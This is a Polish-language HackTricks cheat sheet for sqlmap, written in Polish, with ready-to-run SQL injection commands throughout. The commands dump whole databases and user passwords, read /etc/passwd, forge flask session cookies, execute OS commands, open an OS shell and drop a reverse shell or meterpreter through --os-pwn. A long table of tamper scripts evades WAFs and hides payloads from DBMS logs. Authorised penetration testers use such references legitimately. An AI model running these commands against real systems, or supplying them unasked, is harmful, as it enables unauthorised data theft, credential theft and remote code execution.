SQLMap - Cheetsheat

Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE) Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)

Wsparcie dla HackTricks

Natychmiastowo dostępna konfiguracja do oceny podatności i testów penetracyjnych. Przeprowadź pełny pentest z dowolnego miejsca z 20+ narzędziami i funkcjami, które obejmują od rekonesansu po raportowanie. Nie zastępujemy pentesterów - rozwijamy niestandardowe narzędzia, moduły wykrywania i eksploatacji, aby dać im z powrotem trochę czasu na głębsze badania, przełamywanie zabezpieczeń i zabawę.

Podstawowe argumenty dla SQLmap

Ogólne

-u "<URL>"
-p "<PARAM TO TEST>"
--user-agent=SQLMAP
--random-agent
--threads=10
--risk=3 #MAX
--level=5 #MAX
--dbms="<KNOWN DB TECH>"
--os="<OS>"
--technique="UB" #Use only techniques UNION and BLIND in that order (default "BEUSTQ")
--batch #Non interactive mode, usually Sqlmap will ask you questions, this accepts the default answers
--auth-type="<AUTH>" #HTTP authentication type (Basic, Digest, NTLM or PKI)
--auth-cred="<AUTH>" #HTTP authentication credentials (name:password)
--proxy=http://127.0.0.1:8080
--union-char "GsFRts2" #Help sqlmap identify union SQLi techniques with a weird union char

Pobierz informacje

Wewnętrzne

--current-user #Get current user
--is-dba #Check if current user is Admin
--hostname #Get hostname
--users #Get usernames od DB
--passwords #Get passwords of users in DB
--privileges #Get privileges

Dane DB

--all #Retrieve everything
--dump #Dump DBMS database table entries
--dbs #Names of the available databases
--tables #Tables of a database ( -D <DB NAME> )
--columns #Columns of a table  ( -D <DB NAME> -T <TABLE NAME> )
-D <DB NAME> -T <TABLE NAME> -C <COLUMN NAME> #Dump column

Miejsce wstrzyknięcia

Z przechwycenia Burp/ZAP

Przechwyć żądanie i utwórz plik req.txt

sqlmap -r req.txt --current-user

Wstrzykiwanie Żądania GET

sqlmap -u "http://example.com/?id=1" -p id
sqlmap -u "http://example.com/?id=*" -p id

Wstrzykiwanie Żądania POST

sqlmap -u "http://example.com" --data "username=*&password=*"

Iniekcje w nagłówkach i inne metody HTTP

#Inside cookie
sqlmap  -u "http://example.com" --cookie "mycookies=*"

#Inside some header
sqlmap -u "http://example.com" --headers="x-forwarded-for:127.0.0.1*"
sqlmap -u "http://example.com" --headers="referer:*"

#PUT Method
sqlmap --method=PUT -u "http://example.com" --headers="referer:*"

#The injection is located at the '*'

Wskaźnik ciągu, gdy wstrzyknięcie jest udane

--string="string_showed_when_TRUE"

Eval

Sqlmap umożliwia użycie -e lub --eval, aby przetworzyć każdy ładunek przed jego wysłaniem za pomocą jednego wiersza kodu w Pythonie. Ułatwia to i przyspiesza przetwarzanie ładunku w niestandardowy sposób przed jego wysłaniem. W poniższym przykładzie sesja cookie flask jest podpisywana przez flask znanym sekretem przed jej wysłaniem:

sqlmap http://1.1.1.1/sqli --eval "from flask_unsign import session as s; session = s.sign({'uid': session}, secret='SecretExfilratedFromTheMachine')" --cookie="session=*" --dump

Powłoka

#Exec command
python sqlmap.py -u "http://example.com/?id=1" -p id --os-cmd whoami

#Simple Shell
python sqlmap.py -u "http://example.com/?id=1" -p id --os-shell

#Dropping a reverse-shell / meterpreter
python sqlmap.py -u "http://example.com/?id=1" -p id --os-pwn

Przeczytaj plik

--file-read=/etc/passwd

Przeszukaj stronę internetową za pomocą SQLmap i automatycznie wykorzystaj

sqlmap -u "http://example.com/" --crawl=1 --random-agent --batch --forms --threads=5 --level=5 --risk=3

--batch = non interactive mode, usually Sqlmap will ask you questions, this accepts the default answers
--crawl = how deep you want to crawl a site
--forms = Parse and test forms

Drugi Rząd Wstrzyknięcia

python sqlmap.py -r /tmp/r.txt --dbms MySQL --second-order "http://targetapp/wishlist" -v 3
sqlmap -r 1.txt -dbms MySQL -second-order "http://<IP/domain>/joomla/administrator/index.php" -D "joomla" -dbs

Przeczytaj ten post o tym, jak przeprowadzać proste i złożone drugorzędowe wstrzyknięcia za pomocą sqlmap.

Dostosowywanie wstrzyknięcia

Ustaw sufiks

python sqlmap.py -u "http://example.com/?id=1"  -p id --suffix="-- "

Prefiks

python sqlmap.py -u "http://example.com/?id=1"  -p id --prefix="') "

Pomoc w znajdowaniu wstrzyknięć logicznych

# The --not-string "string" will help finding a string that does not appear in True responses (for finding boolean blind injection)
sqlmap -r r.txt -p id --not-string ridiculous --batch

Tamper

Pamiętaj, że możesz stworzyć własny tamper w pythonie i jest to bardzo proste. Możesz znaleźć przykład tampera na stronie Drugiego Rzędu Wstrzyknięcia tutaj.

--tamper=name_of_the_tamper
#In kali you can see all the tampers in /usr/share/sqlmap/tamper
TamperOpis

apostrophemask.py

Zastępuje znak apostrofu jego pełnowymiarowym odpowiednikiem UTF-8

apostrophenullencode.py

Zastępuje znak apostrofu jego nielegalnym podwójnym odpowiednikiem unicode

appendnullbyte.py

Dodaje zakodowany znak NULL na końcu ładunku

base64encode.py

Koduje wszystkie znaki w danym ładunku w formacie Base64

between.py

Zastępuje operator większy niż ('>') z 'NOT BETWEEN 0 AND #'

bluecoat.py

Zastępuje znak spacji po instrukcji SQL ważnym losowym znakiem pustym. Następnie zastępuje znak = operatorem LIKE

chardoubleencode.py

Podwójnie koduje URL wszystkie znaki w danym ładunku (nie przetwarzając już zakodowanych)

commalesslimit.py

Zastępuje wystąpienia takie jak 'LIMIT M, N' z 'LIMIT N OFFSET M'

commalessmid.py

Zastępuje wystąpienia takie jak 'MID(A, B, C)' z 'MID(A FROM B FOR C)'

concat2concatws.py

Zastępuje wystąpienia takie jak 'CONCAT(A, B)' z 'CONCAT_WS(MID(CHAR(0), 0, 0), A, B)'

charencode.py

Koduje URL wszystkie znaki w danym ładunku (nie przetwarzając już zakodowanych)

charunicodeencode.py

Koduje znaki unicode-url niezakodowane w danym ładunku (nie przetwarzając już zakodowanych). "%u0022"

charunicodeescape.py

Koduje znaki unicode-url niezakodowane w danym ładunku (nie przetwarzając już zakodowanych). "\u0022"

equaltolike.py

Zastępuje wszystkie wystąpienia operatora równości ('=') operatorem 'LIKE'

escapequotes.py

Używa znaku ukośnika do ucieczki dla cudzysłowów (' i ")

greatest.py

Zastępuje operator większy niż ('>') jego odpowiednikiem 'GREATEST'

halfversionedmorekeywords.py

Dodaje wersjonowany komentarz MySQL przed każdym słowem kluczowym

ifnull2ifisnull.py

Zastępuje wystąpienia takie jak 'IFNULL(A, B)' z 'IF(ISNULL(A), B, A)'

modsecurityversioned.py

Otacza pełne zapytanie wersjonowanym komentarzem

modsecurityzeroversioned.py

Otacza pełne zapytanie zerowym wersjonowanym komentarzem

multiplespaces.py

Dodaje wiele spacji wokół słów kluczowych SQL

nonrecursivereplacement.py

Zastępuje zdefiniowane słowa kluczowe SQL reprezentacjami odpowiednimi do zastąpienia (np. .replace("SELECT", "")) filtruje

percentage.py

Dodaje znak procentu ('%') przed każdym znakiem

overlongutf8.py

Konwertuje wszystkie znaki w danym ładunku (nie przetwarzając już zakodowanych)

randomcase.py

Zastępuje każdy znak słowa kluczowego losową wartością wielkości liter

randomcomments.py

Dodaje losowe komentarze do słów kluczowych SQL

securesphere.py

Dodaje specjalnie skonstruowany ciąg

sp_password.py

Dodaje 'sp_password' na końcu ładunku w celu automatycznego zaciemnienia w logach DBMS

space2comment.py

Zastępuje znak spacji (' ') komentarzami

space2dash.py

Zastępuje znak spacji (' ') komentarzem w postaci myślnika ('--') po którym następuje losowy ciąg i nowa linia ('\n')

space2hash.py

Zastępuje znak spacji (' ') znakiem funta ('#') po którym następuje losowy ciąg i nowa linia ('\n')

space2morehash.py

Zastępuje znak spacji (' ') znakiem funta ('#') po którym następuje losowy ciąg i nowa linia ('\n')

space2mssqlblank.py

Zastępuje znak spacji (' ') losowym znakiem pustym z ważnego zestawu alternatywnych znaków

space2mssqlhash.py

Zastępuje znak spacji (' ') znakiem funta ('#') po którym następuje nowa linia ('\n')

space2mysqlblank.py

Zastępuje znak spacji (' ') losowym znakiem pustym z ważnego zestawu alternatywnych znaków

space2mysqldash.py

Zastępuje znak spacji (' ') komentarzem w postaci myślnika ('--') po którym następuje nowa linia ('\n')

space2plus.py

Zastępuje znak spacji (' ') znakiem plusa ('+')

space2randomblank.py

Zastępuje znak spacji (' ') losowym znakiem pustym z ważnego zestawu alternatywnych znaków

symboliclogical.py

Zastępuje operatory logiczne AND i OR ich symbolicznymi odpowiednikami (&& i

unionalltounion.py

Zastępuje UNION ALL SELECT z UNION SELECT

unmagicquotes.py

Zastępuje znak cudzysłowu (') kombinacją wielobajtową %bf%27 razem z ogólnym komentarzem na końcu (aby to działało)

uppercase.py

Zastępuje każdy znak słowa kluczowego wartością wielką 'INSERT'

varnish.py

Dodaje nagłówek HTTP 'X-originating-IP'

versionedkeywords.py

Otacza każde nie-funkcyjne słowo kluczowe wersjonowanym komentarzem MySQL

versionedmorekeywords.py

Otacza każde słowo kluczowe wersjonowanym komentarzem MySQL

xforwardedfor.py

Dodaje fałszywy nagłówek HTTP 'X-Forwarded-For'

Natychmiastowo dostępna konfiguracja do oceny podatności i testów penetracyjnych. Przeprowadź pełny pentest z dowolnego miejsca z 20+ narzędziami i funkcjami, które obejmują od rekonesansu po raportowanie. Nie zastępujemy pentesterów - rozwijamy niestandardowe narzędzia, moduły wykrywania i eksploatacji, aby dać im z powrotem trochę czasu na głębsze badania, przełamywanie zabezpieczeń i zabawę.

Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE) Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)

Wsparcie HackTricks

Last updated